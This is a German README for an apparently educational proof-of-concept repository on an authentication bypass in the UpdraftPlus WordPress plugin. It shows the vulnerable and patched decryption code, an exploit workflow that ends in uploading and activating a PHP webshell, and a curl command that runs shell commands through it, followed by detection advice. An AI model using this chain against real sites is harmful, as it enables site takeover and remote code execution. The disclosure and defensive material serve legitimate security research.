
CVE-2026-10795 – UpdraftPlus Authentifizierungsumgehung
CVE-2026-10795 – UpdraftPlus Authentifizierungsumgehung
⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich zu Bildungszwecken.
Verwenden Sie dies nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben.
Der Autor ist nicht verantwortlich für jeglichen Missbrauch.
| Feld | Details |
|---|---|
| Plugin | UpdraftPlus: WP Backup & Migration |
| Betroffene Versionen | ≤ 1.26.4 |
| Gepatchte Version | 1.26.5 |
| CVSS-Score | 8.1 (Hoch) |
| Schwachstellentyp | Unauthenticated Authentication Bypass → RCE |
| Entdeckt von | vtim (Wordfence Bug Bounty) |
| Prämie | $5.200 |
UpdraftPlus registriert einen unauthenticated RPC-Listener bei jedem Seitenaufruf für Seiten, die mit UpdraftCentral verbunden sind.
Die Funktion decrypt_message() validiert den Rückgabewert von $rsa->decrypt() nicht.
Wenn die RSA-Entschlüsselung fehlschlägt, wird false an Rijndael::setKey() übergeben, was zu einem deterministischen AES-128-Schlüssel aus lauter Nullen führt.
Ein Angreifer kann:
udrpc_message mit dem Nullschlüssel fälschen// updraftplus/includes/class-remote-communications-v2.php
// Zeilen 460-491 (Version 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ Keine Rückgabewertprüfung!
$rij->setKey($sym_key); // false → Nullschlüssel
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ Hinzugefügt in 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
├── payloads/
│ ├── list_plugins.py # Installierte Plugins auflisten
│ ├── upload_shell.py # Webshell-Plugin hochladen
│ └── activate_plugin.py # Hochgeladenes Plugin aktivieren
├── shell/
│ ├── build_shell.py # Baut Webshell-ZIP
│ └── test-shell.php # Minimale PHP-Webshell
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
Starten: Apache + MySQL
# WordPress in htdocs platzieren
C:/xampp/htdocs/wordpress/
# Angreifbare Plugin-Version installieren
# Herunterladen: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
WordPress Admin → Einstellungen → UpdraftPlus → UpdraftCentral-Tab → Verbinden
⚠️ Erforderlich: Die Seite muss mit UpdraftCentral verbunden sein, damit die Schwachstelle ausnutzbar ist.
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# Schritt 1: ZIP der Shell erstellen
python shell/build_shell.py
# Schritt 2: Hochladen
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# Schritt 3: Aktivieren
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# Schritt 4: RCE testen
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. Fehlerhafte RSA-verschlüsselte sym_key erstellen (Müllbytes)
│
├─ 2. RPC-Payload mit NULL AES-128-Schlüssel (0x00 * 16) verschlüsseln
│
├─ 3. udrpc_message bauen:
│ [3-Byte hex Länge][fake_sym_key][16-Byte hex Cipherlänge][Ciphertext]
│
├─ 4. POST an Ziel senden (keine Authentifizierung, kein Nonce, keine Cookies nötig)
│
└─ 5. Serverseite:
rsa->decrypt(Müll) → false
setKey(false) → 0x00-Schlüssel
decrypt(ciphertext) → unsere Payload ✅
wp_set_current_user() → Admin-Zugriff
RPC-Befehl ausgeführt → RCE 💀
UpdraftPlus sofort auf Version 1.26.5 aktualisieren.
# Nach verdächtigen POST-Anfragen mit udrpc_message suchen
grep "udrpc_message" /var/log/apache2/access.log
# Wordfence-Benutzer sind seit dem 3. Juni 2026 geschützt
- Unerwartete Plugin-Installationen
- Neue PHP-Dateien in wp-content/plugins/
- POST-Anfragen an das WordPress-Root mit dem Parameter udrpc_message
- Unerwartete Aktionen auf Admin-Ebene in WordPress-Logs
MIT-Lizenz – Nur für Bildungszwecke.
Unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören, ist illegal.
| Datum | Ereignis |
|---|
| 1. Juni 2026 | Schwachstelle über Wordfence Bug Bounty eingereicht |
| 3. Juni 2026 | Bestätigt & an den Anbieter weitergegeben |
| 3. Juni 2026 | Wordfence Premium-Firewall-Regel bereitgestellt |
| 4. Juni 2026 | Anbieter hat bestätigt |
| 5. Juni 2026 | Patch veröffentlicht (v1.26.5) |
| 3. Juli 2026 | Wordfence Free-Schutz aktiv |